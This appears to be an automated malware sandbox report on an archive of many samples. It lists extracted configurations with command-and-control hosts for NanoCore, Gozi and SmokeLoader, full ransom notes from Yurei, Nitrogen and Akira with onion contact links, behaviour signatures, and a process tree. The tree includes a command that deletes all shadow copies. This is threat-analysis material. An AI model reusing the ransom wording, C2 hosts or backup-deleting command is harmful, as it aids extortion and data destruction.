Resubmissions
08/09/2026, 15:38
260908-s27nzagd9315/08/2026, 21:05
260815-zw6ytat1ez15/08/2026, 20:50
260815-zmxnsatzgs15/08/2026, 20:46
260815-zkklfatcnf15/08/2026, 20:40
260815-zf5e2stcjb15/08/2026, 20:39
260815-zfqlwstydz14/08/2026, 18:03
260814-wm9fssyyev06/08/2026, 22:09
260806-124lbabl4s06/08/2026, 03:52
260806-efejeaxzax04/08/2026, 06:18
260804-g2rf7ssgqfAnalysis
- max time kernel
980s - max time network
990s - platform
windows10-2004_x64 - resource
win10v2004-20251016-en - resource tags
- submitted
30/11/2025, 12:41
General
- Target Red-Flaged.7z
- Size 328.4MB
- Sample251130-pwsfbahp5t
- SHA256 54942b5bcfc9add448903934fc61f4e02bf2dc6378a65f0aa4af346e858fe9d3
Score
10/10
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
computernewb.com:80
-
discord.horse:80
Mutex
-
4d0a1e0d-08d5-4a14-ba4f-5aa591ac722b
Attributes
-
activate_away_mode
true
-
backup_connection_host
discord.horse
-
backup_dns_server
8.8.4.4
-
buffer_size
65535
-
build_time
2025-04-03T22:24:52.440913136Z
-
bypass_user_account_control
true
- bypass_user_account_control_data
-
clear_access_control
true
-
clear_zone_identifier
false
-
connect_delay
4000
-
connection_port
80
-
default_group
Default
-
enable_debug_mode
true
-
gc_threshold
1.048576e+07
-
keep_alive_timeout
30000
-
keyboard_logging
false
-
lan_timeout
2500
-
max_packet_size
1.048576e+07
-
mutex
4d0a1e0d-08d5-4a14-ba4f-5aa591ac722b
-
mutex_timeout
5000
-
prevent_system_sleep
false
-
primary_connection_host
computernewb.com
-
primary_dns_server
8.8.8.8
-
request_elevation
true
-
restart_delay
5000
-
run_delay
0
-
run_on_startup
true
-
set_critical_process
true
-
timeout_interval
5000
-
use_custom_dns_server
false
-
version
1.2.2.0
-
wan_timeout
8000
Extracted
Family
-
gozi
Extracted
Family
-
gozi
Botnet
-
1100
C2
-
cyajon.at/krp3cmg
-
hipohook.cn/krp3cmg
-
rokolero.at/krp3cmg
-
arexan.at/krp3cmg
-
voligon.cn/krp3cmg
-
qwevigoc.at/krp3cmg
-
comerail.su/krp3cmg
-
boombom.at/krp3cmg
-
xiloker.cn/krp3cmg
-
xorewopa.at/krp3cmg
-
goinumder.su/krp3cmg
-
ribomoon.cn/krp3cmg
-
ambikooly.at/krp3cmg
-
therepalon.su/krp3cmg
-
chikoole.cn/krp3cmg
Attributes
-
build
214837
-
exe_type
worker
-
server_id
110
rsa_pubkey.plain
serpent.plain
Extracted
Path
-
C:\$Recycle.Bin\_README_Yurei.txt
-
yurei
Ransom Note
- --== Yurei ==-- Dear Management, If you are reading this message, it means that: ├─ Your company’s internal infrastructure has been fully or partially compromised. ├─ All your backups — both virtual and physical — and everything we could access have been completely wiped. └─ Additionally, we have exfiltrated a large amount of your corporate data prior to encryption. We fully understand the damage caused by locking your internal resources. Now, let’s set emotions aside and try to build a constructive dialogue. WHAT YOU NEED TO KNOW ├─ Dealing with us will save you a lot — we have no interest in financially destroying you. ├─ We will thoroughly analyze your finances, bank statements, income, savings, and investments, and present a reasonable demand. ├─ If you have active cyber insurance, let us know — we will guide you on how to properly use it. └─ Dragging out negotiations will only cause the deal to fail. PAYMENT BENEFITS ├─ Paying us saves time, money, and effort — you can be back on track within approximately 24 hours. ├─ Our decryptor works perfectly on all files and systems — you can request a test decryption at any time. └─ Attempting recovery on your own may result in permanent file loss or corruption — in such cases, we won’t be able to help. SECURITY REPORT & EXCLUSIVE INFO ├─ The report and first-hand insights we provide upon agreement are invaluable. └─ No full network audit will reveal the specific vulnerabilities we exploited to access your data and infrastructure. WHAT HAPPENED ├─ Your network infrastructure has been compromised. ├─ Critical data has been exfiltrated. └─ Files have been encrypted. WHAT YOU SHOULD NOT DO ├─ Do NOT rename, modify, or delete encrypted files. ├─ Do NOT shut down your system or run antivirus software — this may cause irreversible damage. └─ Do NOT waste time with data recovery companies — they cannot help you. VALUABLE DATA WE USUALLY STEAL ├─ Databases, legal documents, and personal information ├─ Audit reports, SQL databases ├─ Financial documents: statements, invoices, accounting data ├─ Work files and corporate communications ├─ Any backup solutions └─ Confidential documents TO DO LIST (Best Practices) ├─ Contact us as soon as possible via our live chat (only). ├─ Purchase our decryption tool — there is no other way to recover your data. ├─ Avoid third-party negotiators or recovery services. └─ Do not attempt to use public decryption tools — you risk permanent data loss. RESPONSIBILITY ├─ Violating the terms of this offer will result in: │ - Deletion of your decryption keys │ - Immediate sale or public disclosure of your leaked data │ - Notification of regulatory agencies, competitors, and clients --- **CHAT:** Yurei CHAT:http://fewcriet5rhoy66k6c4cyvb2pqrblxtx4mekj3s5l4jjt4t4kn4vheyd.onion/chat/777676f8-2313-425f-873a-65c4df8d5def/chat.php Your Ticket ID: d1d6f65f7d304cd3cfa3a70896d5b455 Blog:http://fewcriet5rhoy66k6c4cyvb2pqrblxtx4mekj3s5l4jjt4t4kn4vheyd.onion YueriSupp:A3C6BA331B0BE0870984452FAC75A72304A33ACF8EF98616643EFD3ECD3CE60A37DADF0DC9E6 --- Thank you for your attention. --- **Important Notes:** - Renaming, copying, or moving encrypted files may break the cipher and make decryption impossible. - Using third-party recovery tools can irreversibly damage encrypted files. - Shutting down or restarting the system may cause boot or recovery errors and further damage the encrypted data.
Extracted
Path
-
C:\PerfLogs\_READ_ME_.TXT
-
nitrogen
Ransom Note
- ======================================================================================== Nitrogen welcome you! ======================================================================================== Take this seriously, this is not a joke! Your company network are encrypted and your data has been stolen and downloaded to our servers. Ignoring this message will result in all your data being published on our blog: http://nitrogenczslprh3xyw6lh5xyjvmsz7ciljoqxxknd7uymkfetfhgvqd.onion This problem can be solved: 1. Your network and data can will be restored. 2. Your data is stolen and stored on our server, after receive payment it will be completely removed from our servers. 3. No one is aware about the data leak from your company except you. If you believe you can handle without us and decrypting your servers and data using some IT Solution from third-party specialists? They will only make significant damage to all of your data; every encrypted file will be corrupted forever. Only our Decryption Tool will make decryption guaranteed. Don't go to recovery companies, they are essentially just middlemen who will make money off you. If you decide not to negotiate with us and find another solution. We will make huge damage to your business by using all of our experience to make your partners, clients, employees and whoever cooperates with your company know about this accident and stop any partnership with you. As a result, You will suffer great losses and you will must to pay a penalty to the state and to compensate for lawsuits against your company. Also in case of disclosure of information about a cyber attack and theft of confidential data of your company your assets may fall and it will cost you several times more expensive instead agreeing with us. Want to go to Government for protection? Your address them for help will only make the situation worse. They will try to prevent you from negotiating with us, because the negotiations will make them look weak and incompetent. After the incident report is handed over to the government department, you receive get a penalty for this accident and leak personal data. This will be a huge amount, you can read more about the GDRP legislation: https://en.wikipedia.org/wiki/General_Data_Protection_Regulation/ In this situation you will not be winners anyway. So lets get straight to the point. After we receive your payment you will get the followings: -Decryption tool for all your systems. -Detailed penetration overview with main kill chain and security recommendations -Proof that we have securely deleted your data -Our word that we will not perform attacks on you in the future. Now, in order to start negotiations, you need to do the following: -Install Tor Browser from https://www.torproject.org/download/ -Use Tor Browser open: 2gbuplnvnxswqieypcznyw4l6elllypcect6e3nnuurvm5o5b2pue4id.onion/quick-access/dKJGLvsShN6aPhlMqR/chats/LHDZRUEVOS -If you have any problems accessing the onion site, use the qTox app to contact us. ToxID: 56B80EC793BEE00B022D611D35F7234710FC4E8AFF6695278278D3AF597B142DA27E88C15C43 If you do not contact us within 3 days, we will begin publishing your data on all social networks. ========================================================================================
URLs
-
http://nitrogenczslprh3xyw6lh5xyjvmsz7ciljoqxxknd7uymkfetfhgvqd.onion
-
http://2gbuplnvnxswqieypcznyw4l6elllypcect6e3nnuurvm5o5b2pue4id.onion/quick-access/dKJGLvsShN6aPhlMqR/chats/LHDZRUEVOS
Extracted
Path
-
C:\Program Files\7-Zip\akira_readme.txt
Ransom Note
- Hi friends, Whatever who you are and what your title is, if you're reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption. ATTENTION! Strictly prohibited: - Deleting files with .arika extension; - Replacing or renaming .arika and .akira files; - Using third party software to recover your systems. If you violate these rules, we cannot guarantee a successful recovery. Well, for now let's keep all the tears and resentment to ourselves and try to build a constructive dialogue. We're fully aware of what damage we caused by locking your internal sources. At the moment, you have to know: 1. Dealing with us you will save A LOT due to we are not interested in ruining you financially. We will study in depth your finance, bank & income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of the deal. 2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. If you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidentally corrupt them - in this case we won't be able to help. 3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of great value, since NO full audit of your network will show you the vulnerabilities that we've managed to detect and use in order to get into, identify backup solutions and download your data. 4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes - generally speaking, everything that has a value on the darkmarket - to multiple threat actors at once. Then all of this will be published in our blog - akiral2iz6a7qgd3ayp3l6yub7xx2uep76idk3u2kollpj5z3z636bad[.]onion. 5. We're more than negotiable and will definitely find a way to settle this quickly and reach an agreement which will satisfy both of us. If you're indeed interested in our assistance and the services we provide you can reach out to us following simple instructions: 1. Install TOR Browser to get access to our chat room - torproject[.]org/download/. 2. Paste this link - https://akiralkzxzq2dsrzsrvbr2xgbbu2wgsmxryd4csgfameg52n7efvr2id.onion/d/2102713841-GWDIS . 3. Use this code - 6044-GQ-MSYQ-OFNL - to log into our chat. Keep in mind that the faster you will get in touch, the less damage we cause.
URLs
-
https://akiralkzxzq2dsrzsrvbr2xgbbu2wgsmxryd4csgfameg52n7efvr2id.onion/d/2102713841-GWDIS
Extracted
Family
-
smokeloader
Version
-
2018
C2
-
http://ghjk78kjhb.net/
-
http://cleancleankkl.net/
-
http://dunujilis11r.net/
-
http://sulionuili1.in/
-
http://eseruuynli2.net/
-
http://nulikuliey.net/
-
http://oohdojssks9uf.net/
rc4.i32
rc4.i32
Signatures
- Akira
Akira is a ransomware first seen in March 2023 and targets several industries, including education, finance, real estate, manufacturing, and consulting.
- Akira family
- AuraStealer
AuraStealer is a malware written in C++.
- Aura_stealer family
- Babylon RAT
Babylon RAT is remote access trojan written in C++.
- Babylon RAT payload 1 IoCs
- Babylonrat family
- BazarBackdoor 64 IoCs
Stealthy backdoor targeting corporate networks, believed to be developed by Trickbot's authors.
- Bazarbackdoor family
- Blackmoon family
- Blackmoon, KrBanker
Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.
- Cyborg
Cyborg is a ransomware that has been active since 2022.
- Cyborg family
- DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Dcrat family
- Detect Blackmoon payload 7 IoCs
- Detect XClient Payload 2 IoCs
- Detects AuraStealer stealer 1 IoCs
- Detects MilleniumRAT stealer 1 IoCs
- Detects PennyWise 2 IoCs
- Detects Plusdrop Payload 1 IoCs
- Detects Yurei ransomware 1 IoCs
- Gofing
Gofing is a ransomware written in Golang using Velocity Polymorphic Compression (VPC) obfuscation.
- Gofing family
- Gofing is a ransomware written in Golang using Velocity Polymorphic Compression (VPC) obfuscation. 2 IoCs
- Gozi
Gozi is a well-known and widely distributed banking trojan.
- Gozi family
- MilleniumRat
MilleniumRat is a remote access trojan written in C#.
- Milleniumrat family
- Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Mimikatz family
- NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
- Nanocore family
- Nitrogen
Nitrogen is a ransomware that resembles LukaLocke ransomware.
- Nitrogen family
- PennyWise
PennyWise is a stealer written in C#.
- Pennywise family
- Plusdrop family
- Plusdrop, toughprogress
Plusdrop is a backdoor used by APT41 in Toughprogress campaign that abuses Google Calendar events as its C2.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Smokeloader family
- Supershell
Supershell is a cross-platfrom reverse shell written in Golang.
- Supershell family
- Trickbot
Developed in 2016, TrickBot is one of the more recent banking Trojans.
- Trickbot family
- Trickbot x86 loader 1 IoCs
Detected Trickbot's x86 loader that unpacks the x86 payload.
- Upatre
Upatre is a generic malware downloader.
- Upatre family
- XClient
XClient is a trojan written in C#.
- Xclient family
- Yurei
Yurei is a Golang based ransomware family derived from PrincessLocker.
- Yurei family
- mimikatz is an open source tool to dump credentials on Windows 8 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Renames multiple (12629) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (175) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (2459) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (247) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Deletes backup catalog 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Downloads MZ/PE file 5 IoCs
- Drops file in Drivers directory 2 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 44 IoCs
- Modifies Windows Firewall 2 TTPs 3 IoCs
- Tries to connect to .bazar domain 64 IoCs
Attempts to lookup or connect to a .bazar domain, used by BazarBackdoor, Trickbot, and potentially others.
- .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
- Disables service(s) 3 TTPs
- Drops startup file 14 IoCs
- Executes dropped EXE 63 IoCs
- Indicator Removal: Clear Windows Event Logs 1 TTPs 64 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
- Loads dropped DLL 22 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unexpected DNS network traffic destination 64 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Adds Run key to start application 2 TTPs 3 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Drops desktop.ini file(s) 6 IoCs
- Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Indicator Removal: Clear Persistence 1 TTPs 6 IoCs
remove IFEO.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Creates a Windows Service
- Drops autorun.inf file 1 TTPs 7 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
- Drops file in System32 directory 2 IoCs
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 16 IoCs
- UPX packed file 6 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 17 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 54 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- NSIS installer 4 IoCs
- Checks SCSI registry key(s) 3 TTPs 16 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Enumerates system info in registry 2 TTPs 3 IoCs
- Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies Control Panel 2 IoCs
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies data under HKEY_USERS 5 IoCs
- Modifies registry class 55 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 2 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 4 IoCs
- Suspicious behavior: MapViewOfSection 18 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 21 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 37 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Drops startup file
- Adds Run key to start application
- Drops desktop.ini file(s)
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Red-Flaged.7z"2⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"2⤵
- Modifies registry class
-
C:\Users\Admin\Desktop\Red-Flaged\028064da75bc36bb36ca2c02744da60fceb33fabcbee02ddae76ff35332208fe.exe"C:\Users\Admin\Desktop\Red-Flaged\028064da75bc36bb36ca2c02744da60fceb33fabcbee02ddae76ff35332208fe.exe"3⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
-
-
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Desktop\Red-Flaged\02WLPQTDGE.msi"3⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\Desktop\Red-Flaged\03d34f5a53aa870c9aee05a54c1d258f013f8e86ff71434e8137e747a77f020a.exe"C:\Users\Admin\Desktop\Red-Flaged\03d34f5a53aa870c9aee05a54c1d258f013f8e86ff71434e8137e747a77f020a.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Desktop\Red-Flaged\04e768174636f0a5be42e9cee5974a8b9db2832d4e79cc973ad617185ab80595.exe"C:\Users\Admin\Desktop\Red-Flaged\04e768174636f0a5be42e9cee5974a8b9db2832d4e79cc973ad617185ab80595.exe"3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet4⤵
-
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet5⤵
- Interacts with shadow copies
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\0e932dd0eb5ac59e3a4a2412ad3424052fd57053923a9006b8a63061b2d9ba78.exe"C:\Users\Admin\Desktop\Red-Flaged\0e932dd0eb5ac59e3a4a2412ad3424052fd57053923a9006b8a63061b2d9ba78.exe"3⤵
- Executes dropped EXE
- Drops autorun.inf file
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://2no.co/2f8nx54⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2c8,0x2cc,0x2d0,0x2c4,0x338,0x7ffaa295f208,0x7ffaa295f214,0x7ffaa295f2205⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1936,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:35⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2172,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=2168 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2416,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=2304 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3496,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3524,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4868,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --always-read-main-dll --field-trial-handle=5216,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=5232 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --string-annotations --always-read-main-dll --field-trial-handle=4280,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=5648,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=5732,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=5728,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=5704,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=4012 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=5556,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=5556,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=5956,i,17284855532907193641,15735801436122455736,262144 --variations-seed-version --mojo-platform-channel-handle=4024 /prefetch:85⤵
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\0eb4708bc1ecc868a3247cea58065db54315a8f30047b6e2c7cfc4ef4fa7f6ff.exe"C:\Users\Admin\Desktop\Red-Flaged\0eb4708bc1ecc868a3247cea58065db54315a8f30047b6e2c7cfc4ef4fa7f6ff.exe"3⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Desktop\Red-Flaged\12bd6f8e298e25c036f3bd4716edcb486d78a3c8f33af1f2d74439ebbcbf5434.exe"C:\Users\Admin\Desktop\Red-Flaged\12bd6f8e298e25c036f3bd4716edcb486d78a3c8f33af1f2d74439ebbcbf5434.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Red-Flaged\1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3.exe"C:\Users\Admin\Desktop\Red-Flaged\1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
